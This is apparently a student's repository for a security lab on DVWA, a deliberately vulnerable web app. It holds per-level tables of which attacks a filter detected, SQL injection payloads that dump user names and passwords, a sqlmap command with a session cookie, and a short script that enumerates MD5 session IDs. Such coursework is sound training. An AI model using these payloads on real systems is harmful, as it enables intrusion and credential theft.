10 | 11 | CSRF 12 | Low : No 13 | Medium : Yes , can't make guestbook entry 14 | 15 | File Inclusion 16 | Low : Yes 17 | Medium : Yes 18 | High : Yes 19 | 20 | File Upload 21 | Low : Yes 22 | Medium : Yes 23 | High : Yes 24 | 25 | Insecure Captcha 26 | Low : No 27 | Medium : No 28 | High : No 29 | 30 | SQL Injection 31 | Low : Yes 32 | Medium : Yes 33 | High : Yes 34 | 35 | SQL Injection Blind 36 | Low : 37 | Medium : 38 | High : 39 | 40 | XSS DOM 41 | Low : Yes 42 | Medium : Yes 43 | High : No, Because data is not getting sent to server side 44 | 45 | XSS Reflected 46 | Low : Yes 47 | Medium : Yes 48 | High : Yes 49 | 50 | XSS Stored 51 | Low : Yes 52 | Medium : Yes 53 | High : Yes -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/OWASP__CSL_2021_22_.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_3/OWASP__CSL_2021_22_.pdf -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/PHPIDS/detection.txt: -------------------------------------------------------------------------------- 1 | BruteForce 2 | Low : No 3 | Medium : No 4 | High : No 5 | 6 | Command Injection 7 | Low : No 8 | Medium : Yes 9 | High : No 10 | 11 | CSRF 12 | Low : No 13 | Medium : Yes 14 | 15 | File Inclusion 16 | Low : Yes 17 | Medium : Yes 18 | High : Yes 19 | 20 | File Upload 21 | Low : No 22 | Medium : No 23 | High : No 24 | 25 | Insecure Captcha 26 | Low : No 27 | Medium : No 28 | High : No 29 | 30 | SQL Injection 31 | Low : Yes 32 | Medium : No 33 | High : Yes 34 | 35 | SQL Injection Blind 36 | Low : 37 | Medium : 38 | High : 39 | 40 | XSS DOM 41 | Low : Yes 42 | Medium : No 43 | High : No , Because data is not getting sent to server side 44 | 45 | XSS Reflected 46 | Low : Yes 47 | Medium : Yes 48 | High : Yes 49 | 50 | XSS Stored 51 | Low : Yes 52 | Medium : Yes 53 | High : Yes -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/SQL Injection Blind/.gitignore: -------------------------------------------------------------------------------- 1 | sqlmap-dev -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/SQL Injection Blind/solutions.txt: -------------------------------------------------------------------------------- 1 | Low 2 | 1' UNION SELECT @@VERSION,NULL# 3 | Run a script to get correct version 4 | 5 | Medium 6 | Change one of the option values to 7 | 1 UNION SELECT @@VERSION,NULL# 8 | (as it does not have quotes) 9 | 10 | High 11 | ' union select user,password from users# 12 | In the tab that opens up 13 | 14 | 15 | Use in combination with Sleep to get truthhood 16 | 17 | Or We Can use SQLMap for all of them 18 | 19 | sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=njos0jhhcj197l8dj3d9bs08co; security=low" -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/SQL Injection/solutions.txt: -------------------------------------------------------------------------------- 1 | Low 2 | ' union select user,password from users# 3 | 4 | Medium 5 | Change one of the option values to 6 | 1 UNION select user,password from users 7 | (as it does not have quotes) 8 | 9 | High 10 | ' union select user,password from users# 11 | In the tab that opens up -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/Weak Session IDs/solutions.txt: -------------------------------------------------------------------------------- 1 | Low 2 | IDs are generated +1 from starting from 1 3 | 4 | Medium 5 | ID generated from Unix Epoch Time 6 | 7 | High 8 | MD5 of incremented values starting from 1 (reached 15 now) -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/Weak Session IDs/temp.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | for i in range(25) : 4 | hex = hashlib.md5(f'{i}'.encode()) 5 | print(hex.hexdigest(),i) -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/XSS(DOM)/solutions.txt: -------------------------------------------------------------------------------- 1 | Low 2 | http://localhost/DVWA/vulnerabilities/xss_d/?default=English 3 | 4 | With a server running somewhere 5 | 6 | Medium 7 | http://localhost/DVWA/vulnerabilities/xss_d/?default=English